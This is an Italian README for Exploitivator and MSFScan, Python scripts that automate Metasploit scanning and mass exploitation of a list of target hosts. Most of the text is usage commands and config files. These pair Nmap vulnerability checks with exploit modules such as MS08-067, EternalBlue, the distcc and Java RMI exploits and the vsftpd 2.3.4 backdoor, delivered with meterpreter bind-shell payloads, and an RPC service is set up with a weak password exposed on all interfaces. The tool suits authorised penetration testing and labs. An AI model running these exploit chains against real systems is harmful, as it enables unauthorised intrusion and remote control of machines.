
Automatizza la scansione e lo sfruttamento con Metasploit
V2.0 - modificato per usare Python 3
È stato testato solo su Kali.
Dipende dal modulo pymetasploit3 per Python, descritto in dettaglio qui: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Installa i pacchetti Kali necessari e la gemma PostgreSQL per Ruby:
apt-get install postgresql libpq-dev git-core
gem install pg
Installa la versione corrente del modulo pymetasploit3 per Python 3:
pip3 install pymetasploit3
Prima di eseguire uno qualsiasi degli script, carica msfconsole e avvia il servizio MSGRPC.
MSGRPC può essere avviato con msfrpcd in Metasploit come segue:
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
I risultati delle scansioni e/o dello sfruttamento appariranno nella console di Metasploit e nei file di ouput (msf_scan_output.txt e exploitivator_output.txt).
Usa MSFScan per eseguire più scansioni Metasploit contro un gruppo di host target. Usa Exploitivator per eseguire scansioni di script Nmap contro un gruppo di host target e sfruttare automaticamente quelli riportati come vulnerabili.
Utilizzo da riga di comando:
Esempi: L'applicazione può essere eseguita come segue, dove '10.128.108.178' è l'indirizzo IP della macchina di attacco, 'hosts.txt' è un elenco di host target, 'msf' è il nome utente di Metasploit Postgres e 'abc123' è la password di Metasploit Postgres:
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
Utilizzo da riga di comando:
./msf_scan.py filename
./msf_scan.py filename MSF_DB_Username MSF_DB_Password
Esempi: L'applicazione può essere eseguita come segue, dove 'hosts.txt' è un elenco di host target, 'msf' è il nome utente di Metasploit Postgres e 'abc123' è la password di Metasploit Postgres:
./msf_scan.py hosts.txt msf abc123
Per eseguire con 'hosts.txt' come elenco di host target, utilizzando il nome utente predefinito di Metasploit Postgres dello script (msf) e la password predefinita di Metasploit Postgres dello script (abc123):
./msf_scan.py hosts.txt
Entrambi gli script si basano su file di configurazione per fornire dettagli sulle scansioni Nmap e Metasploit scamns e attacchi richiesti.
Lo script utilizza un file di configurazione con il nome 'scan_types.cfg'. Questo contiene un elenco di percorsi per qualsiasi scansione Metasploit che deve essere eseguita contro i target. ad es.:
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
Questo script utilizza due file di configurazione (exploitivator_scan.cfg e exploitivator.cfg). Uno per specificare scansioni e parametri Nmap (exploitivator_scan.cfg), e uno per specificare payload e parametri Metasploit (exploitivator.cfg). Questi usano '##' come separatore e hanno i seguenti formati.
exploitivator_scan.cfg:
[Etichetta]##[Parametri riga di comando Nmap]##[Parametri riga di comando Nmap per output su file]##[Opzionale - comando grep da usare se si utilizza l'output greppable di Nmap]
Nel formato sopra:
1) La prima sezione è un'etichetta che collega la scansione all'exploit
2) La seconda sezione è la parte della riga di comando di Namp che specifica i dettagli del tipo di scansione da eseguire, come porta e script
3) La terza sezione è la parte della riga di comando di Namp che definisce il file di output di Nmap (Exploitivator gestisce output XML o greppable di Nmap)
4) La quarta sezione opzionale è il comando gep che si desidera utilizzare per identificare un target vulnerabile all'interno di un file '.gnmap'
Un esempio di contenuto del file è mostrato di seguito:
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[Etichetta]##[Percorso exploit Metasploit]##[Opzionale - dettagli payload Metasploit]
Un esempio di contenuto del file è mostrato di seguito:
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
Avvio e connessione a MSGRPC: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Impostare RHOSTS per usare un file invece di un intervallo: http://travisaltman.com/metasploit-set-rhosts-file/